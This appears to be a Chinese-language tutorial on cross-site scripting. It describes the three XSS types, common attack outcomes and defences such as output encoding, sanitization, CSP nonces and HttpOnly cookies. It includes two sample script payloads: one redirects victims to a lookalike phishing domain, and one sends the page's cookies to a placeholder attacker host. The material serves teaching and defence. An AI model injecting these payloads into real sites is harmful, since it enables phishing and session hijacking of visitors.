Concept

駭客輸入惡意的程式碼在網站上,若該網站沒有驗證使用者輸入,就直接輸出在網頁上,惡意的程式碼就會被執行,造成點擊到該網頁的人遭受到攻擊。簡單來說就是駭客可以在你的網站上面執行 JavaScript 的程式碼。
概念上像是埋一個地雷在受害的網頁上,主要分為三類:

  • Relfective XSS
  • Persistent/Stored XSS
  • Dom-based XSS

Relfective XSS

  • 例如該網站直接將使用者搜尋的輸入,直接顯示在網頁上

Persistent/Stored XSS

  • 不同於 Reflective XSS 的是,該惡意程式碼是被存到網站的資料庫裡面的.惡意程式碼不是當下被輸入的。

Dom-based XSS

  • Dom-based XSS 的攻擊原理跟 Reflective XSS 攻擊原理相似,差別只在 Reflective XSS 有經過 Server 端,而 Dom-based 的攻擊只發生在 Client 端。

常見的攻擊手法

Redirect 攻擊

網址重導致釣魚網站,造成帳號密碼盜取

1
2
3
<script>
window.location ="http://tw.yah00.com";
</script>

Virtual Site Defacement 攻擊

駭客在頁面上插入奇怪的元素,讓你的網站無法被使用

網頁重導並傳送Cookie到目標網站

1
2
3
<script>
window.location ='http://xxx.com?send='+document.cookie;
</script>

密碼偷取 (Password Theft)

在頁面插入假的輸入帳號密碼表單,並將帳密傳到駭客主機

Same Origin Policy 失能

有XSS漏洞的網站,駭客插入惡意程式碼,會被視為與的程式碼「同源」,故失去同源政策的保護

防禦方式

Contextual Output Encoding

針對網頁不同的情境(Context),在網頁輸出時做特殊編碼處理,讓browser原本會認為程式碼的內容轉為非程式碼處理

  • HTML Entity Context
  • HTML Attributes Context
  • URL Fragment Context
  • Script Context
  • Style Context

HTML Sanitization

在某些情況下需要User輸入程式碼,此時透過Sanitization來過濾惡意程式碼,讓他轉程安全的程式碼

X-Xss-Protection

瀏覽器大多支援XSS防護功能,開啟此功能需要在HTTP Resposne header設定

  • HTTP Resposne header設定

X-Xss-Protection: 1; mode=block

Content-Security-Policy

用來跟瀏覽器講說哪些來源的資源可以被載入,哪些不行。做以下的設定,並且不要使用 ‘unsafe-inline’

  1. HTTP Header設定

Content-Security-Policy: script-src ‘self’ ‘nonce-2726c7f26c’

  1. 程式碼
1
2
3
<script nonce="2726c7f26c">
var inline = 1;
</script>

Cookies保護

在 HTTP Response Header 中將重要的 Cookie 設定為 HTTP Only.確保該cookie不能被client端程式碼存取。

  • HTTP Header設定

Set-Cookie: NAME=VALUE; expires=EXPIRES; path=PATH;
domain=DOMAIN;secure; httponly;


reference